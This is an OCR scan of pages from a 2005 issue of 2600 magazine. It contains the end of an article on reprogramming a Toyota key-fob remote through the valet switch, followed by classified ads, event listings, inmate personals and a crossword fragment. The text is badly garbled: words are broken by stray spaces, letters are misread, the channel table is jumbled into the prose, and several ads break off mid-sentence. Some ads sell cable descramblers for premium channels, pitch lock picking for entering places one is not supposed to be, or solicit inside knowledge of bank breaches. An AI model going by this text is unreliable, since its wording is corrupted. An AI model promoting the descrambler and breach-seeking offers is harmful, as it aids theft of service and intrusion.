key i n  the  i g niti on  a nd  turned it on ,  sti ll c li cki n g  
the remote. T he  device lay i n  my  hand  li ke a 
broken toy. 

I remember  the ub iquitous  H P ca lcu lators 
from my co llege days and h ow they cou ld p ro­
gram each oth er th rough  thei r  i n fra red ports . I 
had  a nother, worki n g ,  remote, so for a few mi n ­
utes I tried to  p rogram  the mute with its twi n but 
I was sti ll denied .  

I was getti ng  nowhere with my i nvesti gati o n .  
I dedded t o  let the  dealer  take ca re of it. This was 
my fi rst visit to the dea ler 's servi ce center si n ce 
the pu rchase a nd  I was opti misti ca lly expectant, 
foo l  that I was. 

I found  a disi nterested clerk who said he 
wou ld try to fi nd  someone to exa mine  my remote 
but "it might take some ti me . "  After waiti n g  a n  
hou r  a nd  a ha lf ( I 'm  not exaggerati n g ) ,  a tech ni­
dan  wa lked over and verifi ed that the  remote was 
i n deed out of synch with the ca r. He to ld me I 
cou ld wait i n  the customer  lounge  wh i le he fixed 
it, so I followed h im  outside .  

I did n 't have a good vantage point but I cou ld 
see the  tech was pressi ng  the va let switch under  
the dash . Th i s  was  curious .  None  of the documen­
tati on  menti oned that  the va let switch was  used 
to p rogra m  the remote. 

Fo r those with cars that lack  one ,  the va let 
switch is a sma ll, push-button toggle with a n  
L ED ,  usua lly located on  the d river's si de but 
someti m es under  the seat o r  in the  g love box, 
that tempora ri ly disab les the secu rity system so 
you don 't have to hand  you r  remote to a ca r at­
tendant .  It's often used to disab le the a larm 
when it ' s  accidenta lly tri ggered .  

As the  guy began fi ngeri n g  the  dash ,  the ca r 
started h o n ki n g  a nd  b li n ki n g  its head li g hts, 
seemi ng ly in di stress, li ke a large an ima l  bei n g  
vio lated by  a veteri n a ria n .  I rea lized the  chatter 
was some ki nd  of feedback.  The tech h opped out, 
said it was fixed and  sta rted to walk away. I went 
after him for an exp la nati o n .  After five min utes 

of his reassura n ces that if it ever fau lted agai n he  
would be happy to ta ke care of i t ,  I rea lized that  I 
wasn 't goi n g  to get the  data I n eeded without 
pi n n i n g  h im to the g round  a nd  ho ldi ng  my keys 
to his th roat. At least he did n 't cha rge me .  

I d rove back  to  my town h ouse a n d  discovered 
that the g reen button  on  the remote sti ll did n 't 
work.  This is the  button that turns o n  the  head­
li ghts fo r thi rty seconds .  It' s a nice featu re to 
have when you 've lost you r  ca r i n  a parki n g  lot so 
wel l  that you can 't hear  the  horn .  O kay, so it was­
n 't essenti a l  but it sti ll meant I had a device with 
a non -worki n g  fun cti o n .  I cou ld n 't s leep u nti l I 
fixed it. 

I began to experiment with va rious  combina­
tion s  of va let-switch p resses a nd  remote-button 
clicks .  The car began b leati n g  loud ly agai n a n d  
fla sh ing  its li g hts . I succeeded i n  programm ing  
the g reen button with the fun ctions  of the red 
button - a n d  pissi ng  off my n ei ghbo rs who sta red 
at me t h rough  thei r  wi ndows. The designe rs obvi­
ous ly i ntended the programm ing  to be noisy; it 
was a lm ost as bad as the  a la rm .  At least n o  one  
ca n rep rogram the system without the owner's 
knowledge.  Si n ce I wanted to keep livi n g  h ere -
a nd  keep livi ng  period - I decided to fi nd  a n  
empty parki n g  lot to  conti n u e  my experi menta­
tio n .  

B u t  fi rst I decided t o  consu lt the  Internet fo r 
p rogramming  i n formation  usi n g  two clues from 
the remote's she ll: a white labe l  - TDS - a nd  an  
FCC ID  o f  E LVAT5G .  I felt li ke ki cki n g  myself fo r 
n ot r unn i ng  a sea rch earli e r. 

Toyota 's website had abso lute ly n othi n g  to of­
fer. I was a b le to identify the remote usi n g  a re­
mote who lesa ler 's website, but they o n ly offered 
p rogramm ing  i nstructions  with a pu rchase from 
thei r  site . Another site offered the  i n structi on s  
sepa rately but fo r a n  i nflated fee, a nd  with a 
stated disclai mer  that they made n o  refunds  o r  
gua ra ntees that t h e  i n formation  wa s  even va li d .  
A se ller on  eBay aucti oned ca r remote i nstruc­
tion s  (though  n ot my model ) ,  a nd  I was struck by 
the unfa i rness of the who le situati o n .  

I had  two choices: I cou ld pay a n  additi o na l  
fee to  acqui re operati ona l  i n formation  fo r a de­
vi ce I 'd a lready paid fo r, o r  I cou ld resig n  myself 
to retu rni ng  the  ca r to the dealer  whenever the 
remote n eeded to be rep rogram med and  j ust ac­
cept the  hou r  and  a ha lf wait fo r somethi ng  I 
cou ld do myself i n  less than a m in ute. Some deal­
ers even cha rged fo r this servi ce .  I was n ot 
happy. 

I di scovered that my devi ce was closely re­
lated to a nother remote known by the FCC ID  of 
APS95 BT3 . It operated at 434 MHz .  It was manu ­
factu red by a company  known as Prestige ,  which 
appea red to be a subsidi a ry of Audiovox. Au-
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diovox had wise ly a nd  g racious ly i n cluded a man­
ua l  on  thei r  website rather  than charge fo r i t .  The  
manua l  did n 't descri be  a n  exact p rocedu re for my 
remote, but  the documentation  was  very close 
and he lped i m m ensely. 

Be low I've para p h rased the p rogramm ing  i n ­
structions  i n  the manua l  a n d  added  some c la rify­
i n g  i n formation  that wasn 't in the guide ,  as well 
as some person a l  experi ences. Those wanti n g  the 
i n formation  straight  from the source s hou ld 
point their  b rowsers to http ://www.audiovox 
-. com and  select the Fi nd  a Product -> MOBILE ­
> Ca r Security a n d  Remote Sta rt Systems .  

H ow t o  Program a Prestigej TDSjAudiovox 
(APS95 BT3jELVAT5G) Remote: 

The remote i s  a th ree-button ,  seven-cha nne l  
tra n smitter. Most ca r secu rity systems o n ly have 
th ree or  fou r  c hanne l  receivers; theo reti ca lly, the  
h ighe r  cha n ne ls i n  the  remote ca n be p ro­
g rammed for a n  additi ona l  ca r, but I did n ot test 
th is .  Be low is  a tab le outli n i ng  the cha n nels :  

Transmitter 

Channel 

Receiver 

Buttons Channel Function 

mote) u nti l the si ren sounds  a long  chi rp ( ho rn  
b last) , i n di cati n g  the  si g na l  has been  stored i nto 
memory. 

5. Fli p the va let switch on  then off (one  
cycle ) .  

Here the process repeats for transmitter 
channels 2 to 4: 

6. The va let LED flashes twice (a repeati n g  
doub le fla sh )  a n d  the  si ren chi rps twice t o  i n di ­
cate the system is  ready to p rogra m channel  2 .  

7. Press a n d  ho ld transmitter button 2 u nti l 
the si ren sounds  a long  chi rp, i n di cati n g  the  
sig na l  has  been stored i nto memory. 

8 .  Fli p the va let switch on  then off. 
9. The va let LED flashes  th ree ti mes (a repeat­

i n g  tri p le fla sh )  a n d  the si ren chi rps t h ree times 
to i ndi cate the  system is ready to program chan­
ne l 3 .  

1 0 .  Press a n d  ho ld tra nsmitter button  3 unti l  
the siren sounds  a long  chirp ,  i n di cati n g  t h e  si g­
nal has  been sto red i nto memory. ( Important: I 

1 1 Remote arm and d i s arm 

Remote emergency panic 

Remote door lock/unlock 
2 2 , Pu l s e d  output for a c c e s s o r i e s  

3 3 3 

cou ld not p rog ram tra ns­
mitter channe l 3 ( button 3 )  
fo r receiver channe l  3 .  I do 
not know what receiver 
cha nne l  3 i s  used fo r in my 
car's secu rity system ,  o r  if  
it ' s  even there .  This i s  why 
the Toyota tech cou ld n 't 

( lo c k / u n l o c k  w / 0 a l arm on my c a r ) 
get the g reen button to 

Switched output for a c c e s s o r i e s  work.  I had  to ski p  step 10 
( nothing on my c a r ) • and  conti n ue  with step 11 ,  

4 , Switched output for a c c e s s o r i e s  

( Headlights on m y  car ) 

a nd  p rog ra m tran smitter 
c hannel 3 ( button 3) fo r 
receiver cha nne l  4. This re-5 

6 

: 7  

, 1 ,  2 
: 1 ,  3 

1 ,  2 ,  3 

The following procedure will program a new 
remote or reprogram an unsynchronized remote. 
A ny discrepancies or clarifications a re in paren­
theses. 

Note: Each step m ust be performed within 15  
seconds of the previous step or the system will 
exit programming mode. 

1. Tu rn the i g nition  key to the "ON "  positi o n .  
(You do not need t o  sta rt the  engi ne ) .  

2 .  F li p  the va let switch on-off, on-off, on-off. 
( My va let switch is on when pushed in a n d  the  
li ght  i s  off. Conversely, it i s  off when popped out  
a nd  the  li ght  i s  o n .  Whatever you r  configu rati o n ,  
the switch needs to  be  cycled th ree times . )  

3 .  The va let LED fla shes once ( i t  repeats a si n ­
g le flash  pattern )  a n d  the siren ( ho rn )  chi rps 
once to i n dicate the  system is  ready to program 
channe l l .  

4 .  Press a n d  ho ld tran smitter button  1 (o r  
whatever button you  want  to  p rogram on  the  re-

stored the remote head­
li ght  fu nction  to my g reen 
butto n . )  

11 .  F li p  the  va let switch on  t h e n  off. 
1 2 .  The va let LED fla shes fou r  ti mes (a repeat­

i n g  quadrup le fla sh )  and  the  siren chi rps once to 
i n dicate the system is ready to program channe l 4. 

13. Press and ho ld tra nsmitter button  4 u nti l 
the siren sounds  a long  ch i rp ,  i n di cati n g  the  sig­
na l  has been stored i nto memory. 

End the process: 
14. Tu rn the i g niti on  key off. The si ren wi ll 

sound one sho rt chirp fo llowed by one long  chirp 
to sig na l  the  system has left program mode .  

I hope that  someone fi nds  this i n formation  
usefu l  a n d  it spa res t hem  the frustration  a n d  loss 
of time  that I experi enced attempti n g  to use 
what i s  otherwise a g reat p roduct. I thi n k  it's 
worth noti n g  that none  of the secu rity system 
documentati on  from Toyota that was i n cluded 
with this b ra n d  n ew ca r was even " remotely" 
he lpfu l. 

s u • •  e r if! 0 0 5 ---------------------- P a g e  5 7  



Happenings 
WHAT THE HACK! Times have changed:  Terrori s m ,  metal detectors, special  new 
laws, and our lea ders getting ever closer to their d ream of "knowing it aLL" It's 
been a crary almost four  years since the last ti m e  all the tribes of the hacker uni­
verse camped out i n  The Netherlands at HAL2001.  H i g h  ti m e  to get together, 

meet, reflect, show OUT projects, and discuss our  ideas. No matter whether you're 
i nto figuri n g  out what they're up to, doing something about it, or having a good 

ti m e  with some of the sma rtest and funniest people we know of, come to What 
The Hack, J u ly 28-31.  near Den Bosch, The Netherla n d s .  for more i nfo rmati o n ,  
visit http://whatthehack.org.  

INTERZONE GOES WEST! While the Atlanta InterzO n e  stays hacker can,  
InterzOn eWest wil l  be a more professi onal  style LT.  conference, carryi n g  on in  
the traditi o n  of "effecti n g  change through educati o n . "  Along with InterzOneWest, 

GRAYAREA - the non- traditi o n a l  security academy - will be happening,  teaching 

methodologies a n d  ski lls i n stead of test a nswers! San Francisco Bay Area i n  early 
October 2005.  See i n terzOne.  com or grayarea . info for the latest details. 

P H REAKNIC 9: THE REVOLUTION WILL NOT B E  TELEVISED. Join the lo ngest run­
ning tec h n o logy and culture conventi o n  i n  the Southeast for our ninth year of 

communicati o n ,  conflagrati o n ,  madness, moxie, and general mayhem. We'll have 

technical presentations ,  sci-fi and tech culture exhibits and pan els, and the usual 
round of paranoid ramblings a n d  conspiracy theories.  Come lea r n ,  teach,  and 

make m erry with us - before the Ministry of Truth can tell  you not to! October 21-
2 3 , 2005. More info at http://www . p h reaknic.i nfo. 

Far Sale 
SPAMSHIRT.COM - take some spam a n d  put it o n  a t-shirt. Now avai lable in  the 
U.S. !  www.spa mshirt .com.  

C H ECK OUT l EA H . N ET for reliable a n d  affordable Unix s h ells. Begi n n ers and  ad­
vanced users love J EAH's  Unix  sh ells for performan ce-driven upti m es a n d  a huge 
list of Virtual Hosts. Your  account  lets you store data,  use IRe, SSH,  a n d  emai l  

with  complete privacy a n d  security. J EA H  also  offers fast  a n d  stable hosti n g  for 

your web site, plus the ability to register and manage your own domain name.  All 

at very competitive prices. Special for 2600 subscribers: Mention 2600 and 

receive setup fees waived. Look to www.jea h . n et for the exceptional service a n d  
attention y o u  want. 
FREEDOH DOWNTIME ON DVD! Years i n  the making but we hope it was worth the 

wait. A double DVD set that i n cludes the two h o u r  documenta ry, a n  i n-depth i n ­

terview w i t h  Kevin Mitnick, a n d  nea rly th ree h o u rs of extra scenes, lost footage, 

and miscella neous stuff. Plus captioning  for 20 (that's ri ght,  20) languages, com­

mentary track, and a lot of things you'll just have to find for yourseLf! The entire 
two disc set can be had by sending $30 to Freedom Downti m e  DVD, PO Box 7 5 2 ,  

Middle Isla n d ,  NY 1 1 9 5 3  USA o r  b y  orderi n g  from our  o n li n e  store a t  
http://store . 2 600.com. (VHS copies of the f i l m  still availa b le f o r  $ 1 5 . )  

NETWORKING AND SECURITY PRODUcrs availabLe at OvationTechnology.com. 

We're a Network Security a n d  Internet Privacy consulti n g  firm a n d  supplier  of net­

worki n g  h a rdware. Our online store features VPN and firewall h a rdwa re, wireless 

ha rdware, cable a n d  DSL modems/routers, IP access devices, VoIP products, 

parentaL control products, and eth ernet switches.  We pride ourselves on provid­
ing the h i g h est level of technical expertise and customer satisfacti o n .  Our com­
mitment to you . . .  No surprises! Easy retu rns !  Buy with confidence! After all, 
Security and Privacy i s  our business!  Visit us at 

http://www.OvationTech n o logy.com/store.htm.  

O N U N E  SERVICES. Web hosti n g ,  cheap domains,  g reat dedicated servers, SSl 
certs, and a lot more!  Check out www. Nob4.com. 

HACKER LOGO T-SHIRTS AND STICKERS. Those "in the know" recog nize The Glider 
as  the new Hacker logo. T-shirts a n d  stickers em blazoned with the Hacker Logo 

can be fo u n d  at HackerLogo.com.  O u r  products a re top quaLity, a n d  wi ll visually 
associate you as a member of the hacker culture. A portion of the proceeds go to 

support the Electronic Frontier Foundati o n .  Visit us at www. Ha ckerLog o.com!  

PH RAINE. The tech nology without the noise  qua rterLy would L ike  to thank  the 
2600 rea ders who have a lso become new subscribers a n d  encourages those who 
have not ACK their need for  diverse computer i nformation i n  conj u n ction with 
that of 2600 to dedicate some packets and become a subscriber today! Visit us at 

our  new domain www. pearlyfreepress .com/phraine.  

CAP'N CRUNCH WHISTLES. Brand new, o n ly a few left. T H E  O RIGINAL WHISTLE i n  

m i n t  conditi o n ,  never used. J o i n  the elite few who o w n  t h i s  treasure!  Once they 

a re gone,  that is it - there are no more! Keychain hole for keyri n g .  Identify your­

self at meetings ,  etc. as  a 2600 member by d a n g li n g  your keychain and sayi n g  
nothi n g .  Cover one hole a n d  g e t  exactly 2 6 0 0  hz,  cover the o t h e r  hole a n d  get 

a n other frequency. Use both holes to call your dog or dolphi n .  Also, ideal for 

telep hone remote control devices. Price i n cludes maili n g .  $ 9 9 . 9 5 .  Not o n ly a col­
lector's item but a VERY U S E F U L  device to carry at all ti mes.  Cash or money order 

o n ly. Mail to: WH ISTLE, P. O .  Box 1 1 5 6 2-ST, Clt, Missouri 63105 .  

HACKER T-SHIRTS AND STICKERS at J inxGear.co m .  Stop r u n n i n g  around naked!  

We've got new swagalicious t-shirts, stickers, a n d  miscelta n eous contra band com­
i n g  out monthly i n cluding your classic hacker/geek designs ,  hot-short panties, 

dog shi rts, a n d  a wh ole mess of kickass sti ckers. We also have LAN party listi ngs ,  

hacker conference listi ngs,  message foru ms,  a p h oto galLery, a n d  monthly con­

tests. Hel l ,  don't even buy,  just sign o n  the maili n g  l ist  a n d  have a chance to win  

free stuff. O r  folLow the easy i n structions  to get  a free sticker. Get it all at 

www.Ji nx.com!  

LEARN LOCK PICKING It 's  EASY with  our  book a n d  new video.  The 2 n d  edition 
book adds lots more interesti n g  material a n d  i lLustrations  whi le the video is filted 

with computer graphic  cutaway views. Learn what they dont want you to know. 

Any security system can be beaten ,  many ti mes ri g h t  through the front door. 

Lea rn the secrets and weakness of today's locks. If you want to get where you a re 

not sup posed to be, this book could be your a n swer. Explore the empoweri n g  

world of lock picki n g .  S e n d  twenty b u c k s  f o r  the b o o k  o r  video t o  Sta ndard Publi­
cations ,  PO Box 2226HQ, Champaign, I L  61825 or visit us at www.sta ndardpubli 

.... cati o n s . com/di rect/2600.html for your 2600 reader price discount. 

FILE TRACKING SOAWARE: FiLe Accountant(TM ) .  Win dows XP a n d  later. Creates a 

list of files on your hard drive. Run it before a n d  after i n stalli n g  new products 

a n d/or updates to discover which files a re a dded/ch a n ged/deLeted. Print lists. 

Other features. M o re informati on at: http://abilitybusin esscomputerservices.com 
_/fa . html or fa.info@abilitybusi nesscomputerservices .com.  

SIZE DOES MATTER! The Twin Towers may be g o n e  forever but a detailed image 

stiLL exists of t h e  massive 374-foot radio tower that was perched atop O n e  World 

Tra de Center. This h igh-quality glossy color poster i s  avaitable i n  two sizes (16" x 

20" a n d  20" x 30")  a n d  ma kes a spectacular gift for engineers, scientists, radio 

a n d  television buffs, or a nybody who appreciates a unique, rarely seen view of 

the World Tra de Center. Visit www.wtc-poster.us for samples and to order your 
own poster. 

P H O N E  HOME. Tiny, SUb-mi niatu re, 7/10 o u n ce, progra m m a b le/reprogra m m a ble 

touch-tone, m u lti-frequency ( DTMF) dialer which can store up to 1 5  touch-tone 

digits. Unit is held against the telephone receiver's microphone for diali n g .  Press 

" H O M E" to automatically dial the stored digits which can then be heard through 

the ultra mi niature spea ker. Ideal for LT. ' s ,  children, Alzhei mer victi ms,  lost 
dogs/chimps,  significant others, hackers, a n d  computer wizards. Give one to a 
boy/girl fri end or to that potential "someone" you meet at a party, the supermar­

ket, school, or the mall;  with your pre-progra mmed telep hone n u m ber, he/s h e  

will always be a b le t o  call y o u !  Also, i d e a l  if y o u  d o n ' t  w a n t  t o  "disclose" your 

telephone number but want someone to be a b le to call you locally or long dis­

tance by telephone.  Key ri n g/cli p .  Limited qua ntity avaitable. Money order o n ly. 
$ 2 4 . 9 5  + $ 3 . 0 0  S/ H .  Mail order to: P H O N E  H O M E ,  N i m rod Divisi o n ,  331 N. New 
Ba ltas Road, Box 410802, CRC, Missouri 6 3 141 .  

HOW TO BE ANONYMOUS ON THE INTERNET. Easy to  follow lessons o n  achievi n g  In­

ternet a n o nymity, privacy, a n d  security. The book's 20 cha pters cover 1 )  simple 

proxy use for WWW; 2 )  how to send and receive e-mail a n onymou sly; 3 )  use 

SOCKS proxies for IRC, ICQ, NNTP, SMTP, HTTP; 4)  web based proxies - JAP, M u lti­

proxy, Crowds; 5 )  do-it-yourself proxies - AnalogX, Win gates; 6 )  read and post i n  
newsgroups (Usenet) i n  complete privacy; 7 }  for p a y  proxi es. learn h o w  t o  hunt  

for, f ind,  a n d  utilize all types of proxi es, clean up your browsers, clean up your  
whole Windows as. This  professionally written but n on-tech nical jargon  filled 

book is gea red towards the begi n n e r  to advan ced readers and the average Inter­

net user. The book lessons a re o n  a C D  i n  easy to read HTML i nterface fo rmat with 

n u m erous i llustrations  throughout.  Send $20 (I'll pay S/H )  to Plamen Petkov, 

1 3 9 0  E Vegas Valley Dr. #40, las Vegas, NV 89109.  Money orders, personal 
checks,  cash accepted. 

THE I B M - PC U N DERGROU N D  ON DVD. Topping off at a full 4.2 giga bytes, ACi D 

presents the first DVD-ROM compi lati o n  for the I B M - PC u n derground scene enti­

tled "Dark Domain . "  Inside is a n  expan sive trove of files dati n g  as far back as 

1987 up to the close of 2003; from a rtpacks to loaders and cracktros to maga­

zines, plus all the necessary programs for browsi n g  them. If you ever wanted to 
see a lost J E D  ANSI mati on display at 2400 baud,  here's your chance.  For order 

details a n d  more information please consult http://www. darkdomai n .orgj. 

ONLINE RETAILER O F  COMPUTER PRODUcrs i s  a lso a 2600 subscriber! 60,000 dif­

ferent computer products from compon ents to compLete systems, la ptops, PDAs, 
cables, RAM, and media all avai lable o n li n e  at http://www.digitaleverything.ca .  

Worldwide shipping i s  n o  problem . Just mention you are a subscriber a n d  I 'll  give 

you better prices too. Contact Dave at sales@digitaleverything.ca for more i nfo . 
CABLE TV DESCRAM BLERS. New. ( 2 )  $ 7 9  + $5.00 shipping,  money order/cash 

o n ly. Works o n  analog or a n a log/digital cable systems.  Premium c h a n n els a n d  

possibly P P V  d e p e n d i n g  on syste m .  Complete w i t h  l10Vac power supply. Pur­

chaser assumes sale responsibility for notifyi n g  cable operator of use of descra m ­

bler. Requi res a cable TV converter ( i .e . ,  R a d i o  S h a c k )  to be u s e d  with the unit.  

Cable conn ects to the converter, then the descram bler, then the output goes to 
TV set tuned to channel  3 .  CD 9 6 2 1  Olive, Box 28992-TS, Olivettet Sur, Missouri 

6 3 1 3 2 .  Email :  cabledescra m b lerguy@ya hoo.com. 

Help Wanted 
CREDIT REPORT H E lP NEEDED. Need some assistance removi ng negative items 

off credit reports. Will pay. All agencies. Please respond to 
skysig ht@spacemail.co m .  
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website security, performance tuning,  and marketi n g  for onl ine maga-

Zl n e .  send your bio a n d  resume to: j b h a rtsworth@ya hoo.com -you can 
work from home, but should Live i n  (or  around) NYC, as you wi Ll n eed to attend a 

meeti n g  o r  two. 

Wanted 
HAVE KNOWLEDGE O F  SECURITY B REACHES at your bank? H ea rd rumors of 

cracked customer databases? Know there a re unaddressed vulnerabilities in a re-

Services 
ANTI-CENSORSHIP LINUX HOSTING. Ka leton Internet provides affordable web 

hosti n g ,  email accounts, and domain registrati o n s  based on dual processor P4 

2 . 4  GHz Li nux  servers. Our hosti n g  pla n s  start from o n Ly $8.95  per month.  This 

i n cludes support for Pyt h o n ,  PerL P H P, My5QL. a n d  more. You can now choose be-

tween the USA, a n d  other offshore Locations to avoid censorship and 
We Payment can be E-GoLd, 

ARE YOU TIRED of receiving piLes of credit card offers a n d  other postaL spa m ?  You 

can't just throw them i n  the trash or recycle them as  someone could get a hold of 

them and use them to can't just Let them piLe u p  on your 
kitchen tabLe. So i n stead you Ildve to with shredding a n d  dis posi n g  
of t h e m .  Well, not a nymore. has a free solution 
All costs of disposaL including 

for sending the stuff to you. Stop 

other people are responsibLe for creati n g .  

site f o r  complete i nformation a n d  take b a c k  y o u r  mai lbox. 

BEEN ARRESTED FOR A COMPUTER OR TECH NOLOGY RELATED CRIME? Have an 
idea, i nventi o n ,  o r  business you want to buy, sell, 

attorney actually u n d erstood you when you 

Green, Esq. is  the solution to your 21st  century 

member of many private BBS's since 1981 

or bridge the communications gap and 

tremely detaiLed knowledge regardi n g  
tec h n o logy reLated actions  ( 1 8  U.S .L 1028, 1029,  

2511 , 2512 ,  ECPA,  DMCA, 1996 Telecom Act, 
lectual property matters such as 

ti ons as  well as general business 

i n - h ouse legal counsel to a 

year background in comp uter, and tech n oLogy matters. Pub­

lished law review articles, contrib uted to nationa lly published books,  and submit-
ted briefs to the U nited States Supreme Court on Internet. a n d  related 

issues.  Admitted to the u.s .  Supreme Court, 2nd Circuit Court a n d  al l  
New York State courts. Many attorneys wil l  t.ake your case without. any considera­

ti on of our  culture and will see you merely as a sou rce of fees or worse, with i ll-

conceived Our office u n dersta nds our cult.ure, is  

situati o n ,  w i t h  t h e  
a n d ,  if  f o r  any reason we cannot 

fi n d  someone else who can at. no charge.  So you 

have nothing to perhaps everything to gain by contacti n g  us first.  Visit 

us at: htt.p:/ /www.comput.orney.com o r  call 516-9W E-HELP (516-993-43 5 7 ) .  

SUSPECTED OR ACCUSED OF A CYB E RCRIME IN A N Y  CALIFORNIA OR FEDERAL 

COURT? Con�Lllt with a sema nti c warrior com mitted to the li beration of i nfo rma-

defense.  Cont.act. O m a r  Figueroa, 
mm>e0" y'.yole.ec' c ,  o r  at. 506 Broadway, San Fra n-

cisco, G rad uate Stanford Law School. Compli m e n -

t a r y  c a s e  consultation f o r  2600 readers. A l l  consult.ations  a re strictly confidential 

a n d  protected by the atto rney-client privi lege. 

Announcements 
OFF THE HOOK is  the weekly one hour hacker radio show presented Wednesday 

at 7:00 pm ET on WBAI 99.5 FM i n  New York City. You ca n also t.une in over 

.coc,jol !thehook or o n  sho rtwave i n  North a n d  South Amer-
ica at 741 5 khz.  dati n g  back to 1988 can be found at the 
2600 �ite, now i n  mp3 fo rmat! Shows from 1988-2004 are now available i n  DVD-R 

format for  $ 3 0 !  Send check or money order to 2600, PO Box 7 5 2 ,  Middle Isla n d ,  

NY 1 1 9 5 3  USA or o r d e r  t h r o u g h  o u r  o n li n e  store at http://store.2600.com. You r  

feedback on the program i s  always welco me at oth(a)2600.c.om. 

I-HACKED.COM. Taki n g  advantage of tec h n o logy by hacking today's electronics 

and systems t.o better our  lives. Electronics a re everywhere, and tec h n o logy 

drives pretty much everything we do i n  t.oday's world. We show you how t.o t.ake 

advantage of these electronics to make them faster, give t.hem added features, or 

to do t.hings they were never intended to do.  

CHRISTIAN HACKERS' ASSOCIATION: Check out the webpage htt.p:! /www. chris 

.. tia n h a cker.org for details.  We exist to promote a commu nity for C h ristian hack" 

ers to discuss and  i m pact t.he realm where faith a n d  techn ology i n tersect for the 

purpose of seei n g  lives changed by God's g race through faith i n  Jesus.  

CYB ERPUNK MINISTRIES CONFERENCE: CPMCON is a Christi a n  hacker co nference. 

Everyon e  is welcome.  Check out http://www. cpmco n . o rg or email  

admin @cpmcon . o rg for more i nfo. 

K-UNE MAGAZINE. 100% H/P related informat.i on since 1999!  We cover all  aspects 

of computers, telephone�,  and much more. K-/ine Magazine i s  up to over 45 i s­

sues and is headqua rtered at Canada's  top p h o n e  p h reaki n g  website: 

nettwerked . n et. Be �ure to check it out and submit your articles!  For more infor-

mation on or Nettwerked, please visit. 

VMYTHS.COM AUDIO RANTS a re available free ot charge to com puter talk shows.  

These short a n d  often hi la rious M P3s dispel the hysteria that surrounds computer 

security. One fonner White House corn puter security advisor hates these rants 

(and we don't make t.his clai m lightly). Check out. Vmyths .com/news . cfm for 

details. 

DO YOU WANT ANOTH ER PRINTED MAGAZINE that complements 2600 with even 

more hacking informati o n ?  Binary Revolution is a maga/i n e  from the Digital 

Specifically, we look at undergrou nd 

Security, U rban Explorati o n ,  

Digital Rights, a n d  m o r e .  F o r  more i n formati o n ,  or t.o o r d e r  y o u r  print.ed copy on"  

li ne,  visit us at http://www. bin rev.com/ where you wi l l  a lso  fi n d  i n structions  on 

rnail  orders. Welco me to the revoluti o n !  

Personals 
IN SEARCH OF FRIENDS/CONTACTS: Federally inca rcerated W M ,  brown eyes/hair, 

6'00", 200 lbs. ,  2 5  years old (for the ladies - please send p h oto�, will do same),  

been i n  6 years  with a couple to go.  Interested i n  real  world hacking not limited 

to rooftops, (un)abandoned bui ldi ngs ,  havi n g  FUN with safes, vaults, locks, 

alarms, and  a nyth i n g  novice-level from 2600. Need p lacement on various maili n g  

lists: video, DVD, book, magazi n e ,  and ANYTHING you Cdn t h i n k  of is  a p preciClted. 

Anyone know of hacker mag besides 2600? Mycology, a nyone? Let's talk! I love 

photos! Send mail  to: H e n ry French #44 5 5 2-083, PO Box 10 ( Elkton FCI ) ,  Lisbon, 

O H  4443 2 .  

CONVICTED COMPUTER CRIMINAL i n  federal prison d o i n g  research on Asperger 

Syndrome prevalel1ce i n  prison .  Please write: Paul Cuni  1 5 287-014, Box 7001, 

Taft CA 93268.  

SYSTEM X HERE!  I 'm still i n carcerated i n  Indiana Dept .  of Corrections  for  at least 

8 months and don't get mdny c h a n ces to sti m u late my m i n d .  I do �ometi mes get 

a h old of books but. t.hilt requi res knowi n g  the titLe, ISBN#, and author. Any help 

would be great! I a m  still loo ki n g  for ANY hock"/mc,",,tw 

such as tutorials, mags,  lines, newsletters, 

a lso for info on any security holes i n  t.he Novell Network client.. All lctt.ers 

will be t.o n o  matter what! I'm a lso looki ng for autogra p h s  i n  hacker or 

real name for a collection I have started if anyone finds the ti me.  DOM I need you 

to write again because the return add ress was removed from your envelope. All 

info and contributions  greatly a p p reciated . Joshua Steelsmith # 1 1 3 667, 

M C F-100e, P.O .  Box 900, B u n ker Hill,  IN  46914.  

STIll IN THE BIG HOUSE. Over t.h ree down, one a n d  a h a lf left t.o serve.  Known 

as Alphabit.s, busted for hacking some banks a n d  doing wire transfers.  I 'm bored 

to death a n d  i n  desperate need of some sti m u lati o n .  I would love t.o hear from 

ANYO N E  out i n  the real world. Help m e  out a n d  put pen to paper now. Why wait? 

Will reply to all .  Jeremy Cushing #J51130,  Centi n e la State Prison ,  PO Box 911 ,  

Im perial, CA 922 51-09 1 1 .  

STORM BRINGER'S 411 :  Am n o t  getting a fair s h a k e  i n  court wit.hout a n  attorney, 

so it's 1 5  more years to pull. Need a coder for a web GUI for a shortwave/sca nner  

(learn PCR-1000) that I donated to a shortwave station a n d  some other  interest­

ing stuff. Would love to talk shop with people on radio, data over radio, and  h a m  

r a d i o .  W i l l  respond t o  all letters tech nical or n o t .  W.K .  S m i t h ,  44684-083,  FCI 

Cum berland ,  PO Box 1000, Cum berla n d ,  MD 21501-1000. 

Web: www.storm b ringer.tv. Li n k  to it! 

ONLY SUBSCRIBERS CAN ADVERTISE IN 2600! Don't even think about tryi n g  to 

take out a n  ad u n less you subscribe! All ads are free and there i s  n o  amount  of 

money we wi ll accept for a non-subscriber ad. We hope that's clear. Of course, we 

reserve t.he right to pass j u d g m ent on your ad a n d  not. print it. if it's amazingly 

stupid or has nothing at all to do with the hacker world. We m a ke no gua rantee 

as to the hon esty, sanity, etc. of the people advertisi n g  here. Con-

tact lhem at your All submissions a re for ONE ISS U E  O N LY! If you want to 

run your ad more than once you must resu bmit it each ti me.  Don't expect us to 

run more than one ad for you in a s ingle issue either. Include your a d d ress la­

bel/envelope or a ph otocopy so we know you're a su bscriber. Send your ad to 

2600 Marketplace, PO Box 99, Middle Isla n d ,  NY 1 1 9 5 3 .  

Deadli n p  f o r  F a l l  i s s u e :  9/1/0 5 .  
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Across 

I .  Account ho lder 
S. Object oriented language 
7. Eight bi ts on a 6502 
11. How much space is  left 
1 2. Old teleo exchange t(lrmat 

13.  Root's is 0 
1 5. X.25 std . body 

1 6. Common batt. size 

1 7. 1 985  LL Cool J hi t  
26. X.25 home base 
27. R ijndael cipher 
29. Precedes the WVofW 
3 1 .  Neighbor of ES 
32. Was ZDTV 
33. Disk img. 
34. 100 
37. I RC cl ient 

39. Privacy org . 
42. Common "engineering" 

technique 
43. Modem monitor 
44. Where e·mai l is transmitted 

46. Home for hackers to avoid 
48. Hacktic founder 
49. Do nothing i nstnlclion 

5 1. Coroorate computer 
con llgurcrs 

54. Lang. of US 
55. "This i s  only a lesl. .. " 
57. For Whom ____________ _ 
62. Tiny Windows 
63. Phone or byte 
65. U senet fare 
66. Noisy measurement (abbr.) 

67. Antiquated US cipher 
68. End of the number (see 

1 9-Down) 

Down 

I. DNS protocol 
2. Unix God's command 

